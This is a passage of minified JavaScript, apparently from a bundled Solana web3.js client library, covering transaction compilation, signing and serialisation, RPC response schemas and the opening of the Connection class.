if(Object.prototype.hasOwnProperty.call(t,"lastValidBlockHeight")){const{blockhash:n,lastValidBlockHeight:r}=t;this.recentBlockhash=n,this.lastValidBlockHeight=r}else{const{recentBlockhash:n,nonceInfo:r}=t;r&&(this.nonceInfo=r),this.recentBlockhash=n}}toJSON(){return{recentBlockhash:this.recentBlockhash||null,feePayer:this.feePayer?this.feePayer.toJSON():null,nonceInfo:this.nonceInfo?{nonce:this.nonceInfo.nonce,nonceInstruction:this.nonceInfo.nonceInstruction.toJSON()}:null,instructions:this.instructions.map(t=>t.toJSON()),signers:this.signatures.map(({publicKey:t})=>t.toJSON())}}add(...t){if(t.length===0)throw new Error("No instructions");return t.forEach(n=>{"instructions"in n?this.instructions=this.instructions.concat(n.instructions):"data"in n&&"programId"in n&&"keys"in n?this.instructions.push(n):this.instructions.push(new Aw(n))}),this}compileMessage(){if(this._message&&JSON.stringify(this.toJSON())===JSON.stringify(this._json))return this._message;let t,n;if(this.nonceInfo?(t=this.nonceInfo.nonce,this.instructions[0]!=this.nonceInfo.nonceInstruction?n=[this.nonceInfo.nonceInstruction,...this.instructions]:n=this.instructions):(t=this.recentBlockhash,n=this.instructions),!t)throw new Error("Transaction recentBlockhash required");n.length<1&&console.warn("No instructions provided");let r;if(this.feePayer)r=this.feePayer;else if(this.signatures.length>0&&this.signatures[0].publicKey)r=this.signatures[0].publicKey;else throw new Error("Transaction fee payer required");for(let v=0;v<n.length;v++)if(n[v].programId===void 0)throw new Error(`Transaction instruction index ${v} has undefined program id`);const o=[],i=[];n.forEach(v=>{v.keys.forEach(q=>{i.push({...q})});const I=v.programId.toString();o.includes(I)||o.push(I)}),o.forEach(v=>{i.push({pubkey:new ht(v),isSigner:!1,isWritable:!1})});const s=[];i.forEach(v=>{const I=v.pubkey.toString(),q=s.findIndex(M=>M.pubkey.toString()===I);q>-1?(s[q].isWritable=s[q].isWritable||v.isWritable,s[q].isSigner=s[q].isSigner||v.isSigner):s.push(v)}),s.sort(function(v,I){if(v.isSigner!==I.isSigner)return v.isSigner?-1:1;if(v.isWritable!==I.isWritable)return v.isWritable?-1:1;const q={localeMatcher:"best fit",usage:"sort",sensitivity:"variant",ignorePunctuation:!1,numeric:!1,caseFirst:"lower"};return v.pubkey.toBase58().localeCompare(I.pubkey.toBase58(),"en",q)});const a=s.findIndex(v=>v.pubkey.equals(r));if(a>-1){const[v]=s.splice(a,1);v.isSigner=!0,v.isWritable=!0,s.unshift(v)}else s.unshift({pubkey:r,isSigner:!0,isWritable:!0});for(const v of this.signatures){const I=s.findIndex(q=>q.pubkey.equals(v.publicKey));if(I>-1)s[I].isSigner||(s[I].isSigner=!0,console.warn("Transaction references a signature that is unnecessary, only the fee payer and instruction signer accounts should sign a transaction. This behavior is deprecated and will throw an error in the next major version release."));else throw new Error(`unknown signer: ${v.publicKey.toString()}`)}let l=0,u=0,c=0;const f=[],p=[];s.forEach(({pubkey:v,isSigner:I,isWritable:q})=>{I?(f.push(v.toString()),l+=1,q||(u+=1)):(p.push(v.toString()),q||(c+=1))});const m=f.concat(p),g=n.map(v=>{const{data:I,programId:q}=v;return{programIdIndex:m.indexOf(q.toString()),accounts:v.keys.map(M=>m.indexOf(M.pubkey.toString())),data:Qn.encode(I)}});return g.forEach(v=>{jn(v.programIdIndex>=0),v.accounts.forEach(I=>jn(I>=0))}),new ys({header:{numRequiredSignatures:l,numReadonlySignedAccounts:u,numReadonlyUnsignedAccounts:c},accountKeys:m,recentBlockhash:t,instructions:g})}_compile(){const t=this.compileMessage(),n=t.accountKeys.slice(0,t.header.numRequiredSignatures);return this.signatures.length===n.length&&this.signatures.every((o,i)=>n[i].equals(o.publicKey))||(this.signatures=n.map(r=>({signature:null,publicKey:r}))),t}serializeMessage(){return this._compile().serialize()}async getEstimatedFee(t){return(await t.getFeeForMessage(this.compileMessage())).value}setSigners(...t){if(t.length===0)throw new Error("No signers");const n=new Set;this.signatures=t.filter(r=>{const o=r.toString();return n.has(o)?!1:(n.add(o),!0)}).map(r=>({signature:null,publicKey:r}))}sign(...t){if(t.length===0)throw new Error("No signers");const n=new Set,r=[];for(const i of t){const s=i.publicKey.toString();n.has(s)||(n.add(s),r.push(i))}this.signatures=r.map(i=>({signature:null,publicKey:i.publicKey}));const o=this._compile();this._partialSign(o,...r)}partialSign(...t){if(t.length===0)throw new Error("No signers");const n=new Set,r=[];for(const i of t){const s=i.publicKey.toString();n.has(s)||(n.add(s),r.push(i))}const o=this._compile();this._partialSign(o,...r)}_partialSign(t,...n){const r=t.serialize();n.forEach(o=>{const i=nC(r,o.secretKey);this._addSignature(o.publicKey,Hu(i))})}addSignature(t,n){this._compile(),this._addSignature(t,n)}_addSignature(t,n){jn(n.length===64);const r=this.signatures.findIndex(o=>t.equals(o.publicKey));if(r<0)throw new Error(`unknown signer: ${t.toString()}`);this.signatures[r].signature=en.from(n)}verifySignatures(t=!0){return!this._getMessageSignednessErrors(this.serializeMessage(),t)}_getMessageSignednessErrors(t,n){const r={};for(const{signature:o,publicKey:i}of this.signatures)o===null?n&&(r.missing||(r.missing=[])).push(i):uZ(o,t,i.toBytes())||(r.invalid||(r.invalid=[])).push(i);return r.invalid||r.missing?r:void 0}serialize(t){const{requireAllSignatures:n,verifySignatures:r}=Object.assign({requireAllSignatures:!0,verifySignatures:!0},t),o=this.serializeMessage();if(r){const i=this._getMessageSignednessErrors(o,n);if(i){let s="Signature verification failed.";throw i.invalid&&(s+=`
Invalid signature for public key${i.invalid.length===1?"":"(s)"} [\`${i.invalid.map(a=>a.toBase58()).join("`, `")}\`].`),i.missing&&(s+=`
Missing signature for public key${i.missing.length===1?"":"(s)"} [\`${i.missing.map(a=>a.toBase58()).join("`, `")}\`].`),new Error(s)}}return this._serialize(o)}_serialize(t){const{signatures:n}=this,r=[];bo(r,n.length);const o=r.length+n.length*64+t.length,i=en.alloc(o);return jn(n.length<256),en.from(r).copy(i,0),n.forEach(({signature:s},a)=>{s!==null&&(jn(s.length===64,"signature has invalid length"),en.from(s).copy(i,r.length+a*64))}),t.copy(i,r.length+n.length*64),jn(i.length<=Ou,`Transaction too large: ${i.length} > ${Ou}`),i}get keys(){return jn(this.instructions.length===1),this.instructions[0].keys.map(t=>t.pubkey)}get programId(){return jn(this.instructions.length===1),this.instructions[0].programId}get data(){return jn(this.instructions.length===1),this.instructions[0].data}static from(t){let n=[...t];const r=yo(n);let o=[];for(let i=0;i<r;i++){const s=Io(n,0,Sd);o.push(Qn.encode(en.from(s)))}return jr.populate(ys.from(n),o)}static populate(t,n=[]){const r=new jr;return r.recentBlockhash=t.recentBlockhash,t.header.numRequiredSignatures>0&&(r.feePayer=t.accountKeys[0]),n.forEach((o,i)=>{const s={signature:o==Qn.encode(yZ)?null:Qn.decode(o),publicKey:t.accountKeys[i]};r.signatures.push(s)}),t.instructions.forEach(o=>{const i=o.accounts.map(s=>{const a=t.accountKeys[s];return{pubkey:a,isSigner:r.signatures.some(l=>l.publicKey.toString()===a.toString())||t.isAccountSigner(s),isWritable:t.isAccountWritable(s)}});r.instructions.push(new Aw({keys:i,programId:t.accountKeys[o.programIdIndex],data:Qn.decode(o.data)}))}),r._message=t,r._json=r.toJSON(),r}}class Lo{get version(){return this.message.version}constructor(t,n){if(this.signatures=void 0,this.message=void 0,n!==void 0)jn(n.length===t.header.numRequiredSignatures,"Expected signatures length to be equal to the number of required signatures"),this.signatures=n;else{const r=[];for(let o=0;o<t.header.numRequiredSignatures;o++)r.push(new Uint8Array(Sd));this.signatures=r}this.message=t}serialize(){const t=this.message.serialize(),n=Array();bo(n,this.signatures.length);const r=Ct([xn(n.length,"encodedSignaturesLength"),Wr(hZ(),this.signatures.length,"signatures"),xn(t.length,"serializedMessage")]),o=new Uint8Array(2048),i=r.encode({encodedSignaturesLength:new Uint8Array(n),signatures:this.signatures,serializedMessage:t},o);return o.slice(0,i)}static deserialize(t){let n=[...t];const r=[],o=yo(n);for(let s=0;s<o;s++)r.push(new Uint8Array(Io(n,0,Sd)));const i=o1.deserialize(new Uint8Array(n));return new Lo(i,r)}sign(t){const n=this.message.serialize(),r=this.message.staticAccountKeys.slice(0,this.message.header.numRequiredSignatures);for(const o of t){const i=r.findIndex(s=>s.equals(o.publicKey));jn(i>=0,`Cannot sign with non signer key ${o.publicKey.toBase58()}`),this.signatures[i]=nC(n,o.secretKey)}}addSignature(t,n){jn(n.byteLength===64,"Signature must be 64 bytes long");const o=this.message.staticAccountKeys.slice(0,this.message.header.numRequiredSignatures).findIndex(i=>i.equals(t));jn(o>=0,`Can not add signature; \`${t.toBase58()}\` is not required to sign this transaction`),this.signatures[o]=n}}const bZ=160,IZ=64,qZ=bZ/IZ,wZ=1e3/qZ;new ht("SysvarC1ock11111111111111111111111111111111");new ht("SysvarEpochSchedu1e111111111111111111111111");new ht("Sysvar1nstructions1111111111111111111111111");new ht("SysvarRecentB1ockHashes11111111111111111111");new ht("SysvarRent111111111111111111111111111111111");new ht("SysvarRewards111111111111111111111111111111");new ht("SysvarS1otHashes111111111111111111111111111");new ht("SysvarS1otHistory11111111111111111111111111");new ht("SysvarStakeHistory1111111111111111111111111");function fu(e){return new Promise(t=>setTimeout(t,e))}const SZ=Ar("lamportsPerSignature"),lC=Ct([zt("version"),zt("state"),an("authorizedPubkey"),an("nonce"),Ct([SZ],"feeCalculator")]);lC.span;class i1{constructor(t){this.authorizedPubkey=void 0,this.nonce=void 0,this.feeCalculator=void 0,this.authorizedPubkey=t.authorizedPubkey,this.nonce=t.nonce,this.feeCalculator=t.feeCalculator}static fromAccountData(t){const n=lC.decode(Hu(t),0);return new i1({authorizedPubkey:new ht(n.authorizedPubkey),nonce:new ht(n.nonce).toString(),feeCalculator:n.feeCalculator})}}const EZ=e=>{const t=e.decode.bind(e),n=e.encode.bind(e);return{decode:t,encode:n}},AZ=e=>t=>{const n=xn(e,t),{encode:r,decode:o}=EZ(n),i=n;return i.decode=(s,a)=>{const l=o(s,a);return jM(en.from(l))},i.encode=(s,a,l)=>{const u=WM(s,e);return r(u,a,l)},i},Pu=AZ(8);Object.freeze({Create:{index:0,layout:Ct([zt("instruction"),go("lamports"),go("space"),an("programId")])},Assign:{index:1,layout:Ct([zt("instruction"),an("programId")])},Transfer:{index:2,layout:Ct([zt("instruction"),Pu("lamports")])},CreateWithSeed:{index:3,layout:Ct([zt("instruction"),an("base"),yu("seed"),go("lamports"),go("space"),an("programId")])},AdvanceNonceAccount:{index:4,layout:Ct([zt("instruction")])},WithdrawNonceAccount:{index:5,layout:Ct([zt("instruction"),go("lamports")])},InitializeNonceAccount:{index:6,layout:Ct([zt("instruction"),an("authorized")])},AuthorizeNonceAccount:{index:7,layout:Ct([zt("instruction"),an("authorized")])},Allocate:{index:8,layout:Ct([zt("instruction"),go("space")])},AllocateWithSeed:{index:9,layout:Ct([zt("instruction"),an("base"),yu("seed"),go("space"),an("programId")])},AssignWithSeed:{index:10,layout:Ct([zt("instruction"),an("base"),yu("seed"),an("programId")])},TransferWithSeed:{index:11,layout:Ct([zt("instruction"),Pu("lamports"),yu("seed"),an("programId")])},UpgradeNonceAccount:{index:12,layout:Ct([zt("instruction")])}});new ht("11111111111111111111111111111111");new ht("BPFLoader2111111111111111111111111111111111");function MZ(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var CZ=Object.prototype.toString,kZ=Object.keys||function(e){var t=[];for(var n in e)t.push(n);return t};function Yc(e,t){var n,r,o,i,s,a,l;if(e===!0)return"true";if(e===!1)return"false";switch(typeof e){case"object":if(e===null)return null;if(e.toJSON&&typeof e.toJSON=="function")return Yc(e.toJSON(),t);if(l=CZ.call(e),l==="[object Array]"){for(o="[",r=e.length-1,n=0;n<r;n++)o+=Yc(e[n],!0)+",";return r>-1&&(o+=Yc(e[n],!0)),o+"]"}else if(l==="[object Object]"){for(i=kZ(e).sort(),r=i.length,o="",n=0;n<r;)s=i[n],a=Yc(e[s],!1),a!==void 0&&(o&&(o+=","),o+=JSON.stringify(s)+":"+a),n++;return"{"+o+"}"}else return JSON.stringify(e);case"function":case"undefined":return t?null:void 0;case"string":return JSON.stringify(e);default:return isFinite(e)?e:null}}var xZ=function(e){var t=Yc(e,!1);if(t!==void 0)return""+t},Mw=MZ(xZ);const kc=32;function Gv(e){let t=0;for(;e>1;)e/=2,t++;return t}function OZ(e){return e===0?1:(e--,e|=e>>1,e|=e>>2,e|=e>>4,e|=e>>8,e|=e>>16,e|=e>>32,e+1)}class zZ{constructor(t,n,r,o,i){this.slotsPerEpoch=void 0,this.leaderScheduleSlotOffset=void 0,this.warmup=void 0,this.firstNormalEpoch=void 0,this.firstNormalSlot=void 0,this.slotsPerEpoch=t,this.leaderScheduleSlotOffset=n,this.warmup=r,this.firstNormalEpoch=o,this.firstNormalSlot=i}getEpoch(t){return this.getEpochAndSlotIndex(t)[0]}getEpochAndSlotIndex(t){if(t<this.firstNormalSlot){const n=Gv(OZ(t+kc+1))-Gv(kc)-1,r=this.getSlotsInEpoch(n),o=t-(r-kc);return[n,o]}else{const n=t-this.firstNormalSlot,r=Math.floor(n/this.slotsPerEpoch),o=this.firstNormalEpoch+r,i=n%this.slotsPerEpoch;return[o,i]}}getFirstSlotInEpoch(t){return t<=this.firstNormalEpoch?(Math.pow(2,t)-1)*kc:(t-this.firstNormalEpoch)*this.slotsPerEpoch+this.firstNormalSlot}getLastSlotInEpoch(t){return this.getFirstSlotInEpoch(t)+this.getSlotsInEpoch(t)-1}getSlotsInEpoch(t){return t<this.firstNormalEpoch?Math.pow(2,t+Gv(kc)):this.slotsPerEpoch}}class Cw extends Error{constructor(t,n){super(t),this.logs=void 0,this.logs=n}}class kt extends Error{constructor({code:t,message:n,data:r},o){super(o!=null?`${o}: ${n}`:n),this.code=void 0,this.data=void 0,this.code=t,this.data=r,this.name="SolanaJSONRPCError"}}var KZ=globalThis.fetch;class RZ extends QL{constructor(t,n,r){const o=i=>{const s=_L(i,{autoconnect:!0,max_reconnects:5,reconnect:!0,reconnect_interval:1e3,...n});return"socket"in s?this.underlyingSocket=s.socket:this.underlyingSocket=s,s};super(o,t,n,r),this.underlyingSocket=void 0}call(...t){var r;const n=(r=this.underlyingSocket)==null?void 0:r.readyState;return n===1?super.call(...t):Promise.reject(new Error("Tried to call a JSON-RPC method `"+t[0]+"` but the socket was not `CONNECTING` or `OPEN` (`readyState` was "+n+")"))}notify(...t){var r;const n=(r=this.underlyingSocket)==null?void 0:r.readyState;return n===1?super.notify(...t):Promise.reject(new Error("Tried to send a JSON-RPC notification `"+t[0]+"` but the socket was not `CONNECTING` or `OPEN` (`readyState` was "+n+")"))}}function LZ(e,t){let n;try{n=e.layout.decode(t)}catch(r){throw new Error("invalid instruction; "+r)}if(n.typeIndex!==e.index)throw new Error(`invalid account data; account type mismatch ${n.typeIndex} != ${e.index}`);return n}const kw=56;class xw{constructor(t){this.key=void 0,this.state=void 0,this.key=t.key,this.state=t.state}isActive(){const t=BigInt("0xffffffffffffffff");return this.state.deactivationSlot===t}static deserialize(t){const n=LZ(ZZ,t),r=t.length-kw;jn(r>=0,"lookup table is invalid"),jn(r%32===0,"lookup table is invalid");const o=r/32,{addresses:i}=Ct([Wr(an(),o,"addresses")]).decode(t.slice(kw));return{deactivationSlot:n.deactivationSlot,lastExtendedSlot:n.lastExtendedSlot,lastExtendedSlotStartIndex:n.lastExtendedStartIndex,authority:n.authority.length!==0?new ht(n.authority[0]):void 0,addresses:i.map(s=>new ht(s))}}}const ZZ={index:1,layout:Ct([zt("typeIndex"),Pu("deactivationSlot"),Ar("lastExtendedSlot"),gn("lastExtendedStartIndex"),gn(),Wr(an(),hl(gn(),-1),"authority")])},TZ=/^[^:]+:\/\/([^:[]+|\[[^\]]+\])(:\d+)?(.*)/i;function NZ(e){const t=e.match(TZ);if(t==null)throw TypeError(`Failed to validate endpoint URL \`${e}\``);const[n,r,o,i]=t,s=e.startsWith("https:")?"wss:":"ws:",a=o==null?null:parseInt(o.slice(1),10),l=a==null?"":`:${a+1}`;return`${s}//${r}${l}${i}`}const lr=tf(Qb(ht),it(),e=>new ht(e)),uC=_b([it(),Bn("base64")]),s1=tf(Qb(en),uC,e=>en.from(e[0],"base64")),jZ=30*1e3;function WZ(e){if(/^https?:/.test(e)===!1)throw new TypeError("Endpoint URL must start with `http:` or `https:`.");return e}function Nn(e){let t,n;if(typeof e=="string")t=e;else if(e){const{commitment:r,...o}=e;t=r,n=o}return{commitment:t,config:n}}function cC(e){return uo([et({jsonrpc:Bn("2.0"),id:it(),result:e}),et({jsonrpc:Bn("2.0"),id:it(),error:et({code:ef(),message:it(),data:Jt(hL())})})])}const GZ=cC(ef());function nn(e){return tf(cC(e),GZ,t=>"error"in t?t:{...t,result:lt(t.result,e)})}function Xn(e){return nn(et({context:et({slot:je()}),value:e}))}function bm(e){return et({context:et({slot:je()}),value:e})}function Yv(e,t){return e===0?new Ed({header:t.header,staticAccountKeys:t.accountKeys.map(n=>new ht(n)),recentBlockhash:t.recentBlockhash,compiledInstructions:t.instructions.map(n=>({programIdIndex:n.programIdIndex,accountKeyIndexes:n.accounts,data:Qn.decode(n.data)})),addressTableLookups:t.addressTableLookups}):new ys(t)}const YZ=et({foundation:je(),foundationTerm:je(),initial:je(),taper:je(),terminal:je()}),BZ=nn(dt(ut(et({epoch:je(),effectiveSlot:je(),amount:je(),postBalance:je(),commission:Jt(ut(je()))})))),JZ=dt(et({slot:je(),prioritizationFee:je()})),VZ=et({total:je(),validator:je(),foundation:je(),epoch:je()}),UZ=et({epoch:je(),slotIndex:je(),slotsInEpoch:je(),absoluteSlot:je(),blockHeight:Jt(je()),transactionCount:Jt(je())}),FZ=et({slotsPerEpoch:je(),leaderScheduleSlotOffset:je(),warmup:ji(),firstNormalEpoch:je(),firstNormalSlot:je()}),HZ=YM(it(),dt(je())),Yl=ut(uo([et({}),it()])),PZ=et({err:Yl}),DZ=Bn("receivedSignature"),XZ=et({"solana-core":it(),"feature-set":Jt(je())}),Ow=Xn(et({err:ut(uo([et({}),it()])),logs:ut(dt(it())),accounts:Jt(ut(dt(ut(et({executable:ji(),owner:it(),lamports:je(),data:dt(it()),rentEpoch:Jt(je())}))))),unitsConsumed:Jt(je()),returnData:Jt(ut(et({programId:it(),data:_b([it(),Bn("base64")])})))})),QZ=Xn(et({byIdentity:YM(it(),dt(je())),range:et({firstSlot:je(),lastSlot:je()})}));function _Z(e,t,n,r,o,i){const s=n||KZ;let a;i!=null&&console.warn("You have supplied an `httpAgent` when creating a `Connection` in a browser environment.It has been ignored; `httpAgent` is only used in Node environments.");let l;return r&&(l=async(c,f)=>{const p=await new Promise((m,g)=>{try{r(c,f,(v,I)=>m([v,I]))}catch(v){g(v)}});return await s(...p)}),new BL(async(c,f)=>{const p={method:"POST",body:c,agent:a,headers:Object.assign({"Content-Type":"application/json"},t||{},$T)};try{let m=5,g,v=500;for(;l?g=await l(e,p):g=await s(e,p),!(g.status!==429||o===!0||(m-=1,m===0));)console.error(`Server responded with ${g.status} ${g.statusText}.  Retrying after ${v}ms delay...`),await fu(v),v*=2;const I=await g.text();g.ok?f(null,I):f(new Error(`${g.status} ${g.statusText}: ${I}`))}catch(m){m instanceof Error&&f(m)}},{})}function $Z(e){return(t,n)=>new Promise((r,o)=>{e.request(t,n,(i,s)=>{if(i){o(i);return}r(s)})})}function eT(e){return t=>new Promise((n,r)=>{t.length===0&&n([]);const o=t.map(i=>e.request(i.methodName,i.args));e.request(o,(i,s)=>{if(i){r(i);return}n(s)})})}const tT=nn(YZ),nT=nn(VZ),rT=nn(JZ),oT=nn(UZ),iT=nn(FZ),sT=nn(HZ),aT=nn(je()),lT=Xn(et({total:je(),circulating:je(),nonCirculating:je(),nonCirculatingAccounts:dt(lr)})),fg=et({amount:it(),uiAmount:ut(je()),decimals:je(),uiAmountString:Jt(it())}),uT=Xn(dt(et({address:lr,amount:it(),uiAmount:ut(je()),decimals:je(),uiAmountString:Jt(it())}))),cT=Xn(dt(et({pubkey:lr,account:et({executable:ji(),owner:lr,lamports:je(),data:s1,rentEpoch:je()})}))),hg=et({program:it(),parsed:ef(),space:je()}),dT=Xn(dt(et({pubkey:lr,account:et({executable:ji(),owner:lr,lamports:je(),data:hg,rentEpoch:je()})}))),fT=Xn(dt(et({lamports:je(),address:lr}))),Ad=et({executable:ji(),owner:lr,lamports:je(),data:s1,rentEpoch:je()}),hT=et({pubkey:lr,account:Ad}),pT=tf(uo([Qb(en),hg]),uo([uC,hg]),e=>Array.isArray(e)?lt(e,s1):e),pg=et({executable:ji(),owner:lr,lamports:je(),data:pT,rentEpoch:je()}),mT=et({pubkey:lr,account:pg}),vT=et({state:uo([Bn("active"),Bn("inactive"),Bn("activating"),Bn("deactivating")]),active:je(),inactive:je()}),gT=nn(dt(et({signature:it(),slot:je(),err:Yl,memo:ut(it()),blockTime:Jt(ut(je()))}))),yT=nn(dt(et({signature:it(),slot:je(),err:Yl,memo:ut(it()),blockTime:Jt(ut(je()))}))),bT=et({subscription:je(),result:bm(Ad)}),IT=et({pubkey:lr,account:Ad}),qT=et({subscription:je(),result:bm(IT)}),wT=et({parent:je(),slot:je(),root:je()}),ST=et({subscription:je(),result:wT}),ET=uo([et({type:uo([Bn("firstShredReceived"),Bn("completed"),Bn("optimisticConfirmation"),Bn("root")]),slot:je(),timestamp:je()}),et({type:Bn("createdBank"),parent:je(),slot:je(),timestamp:je()}),et({type:Bn("frozen"),slot:je(),timestamp:je(),stats:et({numTransactionEntries:je(),numSuccessfulTransactions:je(),numFailedTransactions:je(),maxTransactionsPerEntry:je()})}),et({type:Bn("dead"),slot:je(),timestamp:je(),err:it()})]),AT=et({subscription:je(),result:ET}),MT=et({subscription:je(),result:bm(uo([PZ,DZ]))}),CT=et({subscription:je(),result:je()}),kT=et({pubkey:it(),gossip:ut(it()),tpu:ut(it()),rpc:ut(it()),version:ut(it())}),zw=et({votePubkey:it(),nodePubkey:it(),activatedStake:je(),epochVoteAccount:ji(),epochCredits:dt(_b([je(),je(),je()])),commission:je(),lastVote:je(),rootSlot:ut(je())}),xT=nn(et({current:dt(zw),delinquent:dt(zw)})),OT=uo([Bn("processed"),Bn("confirmed"),Bn("finalized")]),zT=et({slot:je(),confirmations:ut(je()),err:Yl,confirmationStatus:Jt(OT)}),KT=Xn(dt(ut(zT))),RT=nn(je()),dC=et({accountKey:lr,writableIndexes:dt(je()),readonlyIndexes:dt(je())}),a1=et({signatures:dt(it()),message:et({accountKeys:dt(it()),header:et({numRequiredSignatures:je(),numReadonlySignedAccounts:je(),numReadonlyUnsignedAccounts:je()}),instructions:dt(et({accounts:dt(je()),data:it(),programIdIndex:je()})),recentBlockhash:it(),addressTableLookups:Jt(dt(dC))})}),fC=et({pubkey:lr,signer:ji(),writable:ji(),source:Jt(uo([Bn("transaction"),Bn("lookupTable")]))}),hC=et({accountKeys:dt(fC),signatures:dt(it())}),pC=et({parsed:ef(),program:it(),programId:lr}),mC=et({accounts:dt(lr),data:it(),programId:lr}),LT=uo([mC,pC]),ZT=uo([et({parsed:ef(),program:it(),programId:it()}),et({accounts:dt(it()),data:it(),programId:it()})]),vC=tf(LT,ZT,e=>"accounts"in e?lt(e,mC):lt(e,pC)),gC=et({signatures:dt(it()),message:et({accountKeys:dt(fC),instructions:dt(vC),recentBlockhash:it(),addressTableLookups:Jt(ut(dt(dC)))})}),Ip=et({accountIndex:je(),mint:it(),owner:Jt(it()),uiTokenAmount:fg}),yC=et({writable:dt(lr),readonly:dt(lr)}),Im=et({err:Yl,fee:je(),innerInstructions:Jt(ut(dt(et({index:je(),instructions:dt(et({accounts:dt(je()),data:it(),programIdIndex:je()}))})))),preBalances:dt(je()),postBalances:dt(je()),logMessages:Jt(ut(dt(it()))),preTokenBalances:Jt(ut(dt(Ip))),postTokenBalances:Jt(ut(dt(Ip))),loadedAddresses:Jt(yC),computeUnitsConsumed:Jt(je())}),l1=et({err:Yl,fee:je(),innerInstructions:Jt(ut(dt(et({index:je(),instructions:dt(vC)})))),preBalances:dt(je()),postBalances:dt(je()),logMessages:Jt(ut(dt(it()))),preTokenBalances:Jt(ut(dt(Ip))),postTokenBalances:Jt(ut(dt(Ip))),loadedAddresses:Jt(yC),computeUnitsConsumed:Jt(je())}),mc=uo([Bn(0),Bn("legacy")]),Bl=et({pubkey:it(),lamports:je(),postBalance:ut(je()),rewardType:ut(it()),commission:Jt(ut(je()))}),TT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),transactions:dt(et({transaction:a1,meta:ut(Im),version:Jt(mc)})),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),NT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),jT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),transactions:dt(et({transaction:hC,meta:ut(Im),version:Jt(mc)})),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),WT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),transactions:dt(et({transaction:gC,meta:ut(l1),version:Jt(mc)})),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),GT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),transactions:dt(et({transaction:hC,meta:ut(l1),version:Jt(mc)})),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),YT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),rewards:Jt(dt(Bl)),blockTime:ut(je()),blockHeight:ut(je())}))),BT=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),transactions:dt(et({transaction:a1,meta:ut(Im)})),rewards:Jt(dt(Bl)),blockTime:ut(je())}))),Kw=nn(ut(et({blockhash:it(),previousBlockhash:it(),parentSlot:je(),signatures:dt(it()),blockTime:ut(je())}))),Bv=nn(ut(et({slot:je(),meta:ut(Im),blockTime:Jt(ut(je())),transaction:a1,version:Jt(mc)}))),Kf=nn(ut(et({slot:je(),transaction:gC,meta:ut(l1),blockTime:Jt(ut(je())),version:Jt(mc)}))),JT=Xn(et({blockhash:it(),feeCalculator:et({lamportsPerSignature:je()})})),VT=Xn(et({blockhash:it(),lastValidBlockHeight:je()})),UT=Xn(ji()),FT=et({slot:je(),numTransactions:je(),numSlots:je(),samplePeriodSecs:je()}),HT=nn(dt(FT)),PT=Xn(ut(et({feeCalculator:et({lamportsPerSignature:je()})}))),DT=nn(it()),XT=nn(it()),QT=et({err:Yl,logs:dt(it()),signature:it()}),_T=et({result:bm(QT),subscription:je()}),$T={"solana-client":"js/0.0.0-development"};class eN{constructor(t,n){this._commitment=void 0,this._confirmTransactionInitialTimeout=void 0,this._rpcEndpoint=void 0,this._rpcWsEndpoint=void 0,this._rpcClient=void 0,this._rpcRequest=void 0,this._rpcBatchRequest=void 0,this._rpcWebSocket=void 0,this._rpcWebSocketConnected=!1,this._rpcWebSocketHeartbeat=null,this._rpcWebSocketIdleTimeout=null,this._rpcWebSocketGeneration=0,this._disableBlockhashCaching=!1,this._pollingBlockhash=!1,this._blockhashInfo={latestBlockhash:null,lastFetch:0,transactionSignatures:[],simulatedSignatures:[]},this._nextClientSubscriptionId=0,this._subscriptionDisposeFunctionsByClientSubscriptionId={},this._subscriptionHashByClientSubscriptionId={},this._subscriptionStateChangeCallbacksByHash={},this._subscriptionCallbacksByServerSubscriptionId={},this._subscriptionsByHash={},this._subscriptionsAutoDisposedByRpc=new Set,this.getBlockHeight=(()=>{const u={};return async c=>{const{commitment:f,config:p}=Nn(c),m=this._buildArgs([],f,void 0,p),g=Mw(m);return u[g]=u[g]??(async()=>{try{const v=await this._rpcRequest("getBlockHeight",m),I=lt(v,nn(je()));if("error"in I)throw new kt(I.error,"failed to get block height information");return I.result}finally{delete u[g]}})(),await u[g]}})();let r,o,i,s,a,l;n&&typeof n=="string"?this._commitment=n:n&&(this._commitment=n.commitment,this._confirmTransactionInitialTimeout=n.confirmTransactionInitialTimeout,r=n.wsEndpoint,o=n.httpHeaders,i=n.fetch,s=n.fetchMiddleware,a=n.disableRetryOnRateLimit,l=n.httpAgent),this._rpcEndpoint=WZ(t),this._rpcWsEndpoint=r||NZ(t),this._rpcClient=_Z(t,o,i,s,a,l),this._rpcRequest=$Z(this._rpcClient),this._rpcBatchRequest=eT(this._rpcClient),this._rpcWebSocket=new RZ(this._rpcWsEndpoint,{autoconnect:!1,max_reconnects:1/0}),this._rpcWebSocket.on("open",this._wsOnOpen.bind(this)),this._rpcWebSocket.on("error",this._wsOnError.bind(this)),this._rpcWebSocket.on("close",this._wsOnClose.bind(this)),this._rpcWebSocket.on("accountNotification",this._wsOnAccountNotification.bind(this)),this._rpcWebSocket.on("programNotification",this._wsOnProgramAccountNotification.bind(this)),this._rpcWebSocket.on("slotNotification",this._wsOnSlotNotification.bind(this)),this._rpcWebSocket.on("slotsUpdatesNotification",this._wsOnSlotUpdatesNotification.bind(this)),this._rpcWebSocket.on("signatureNotification",this._wsOnSignatureNotification.bind(this)),this._rpcWebSocket.on("rootNotification",this._wsOnRootNotification.bind(this)),this._rpcWebSocket.on("logsNotification",this._wsOnLogsNotification.bind(this))}get commitment(){return this._commitment}get rpcEndpoint(){return this._rpcEndpoint}async getBalanceAndContext(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgs([t.toBase58()],r,void 0,o),s=await this._rpcRequest("getBalance",i),a=lt(s,Xn(je()));if("error"in a)throw new kt(a.error,`failed to get balance for ${t.toBase58()}`);return a.result}async getBalance(t,n){return await this.getBalanceAndContext(t,n).then(r=>r.value).catch(r=>{throw new Error("failed to get balance of 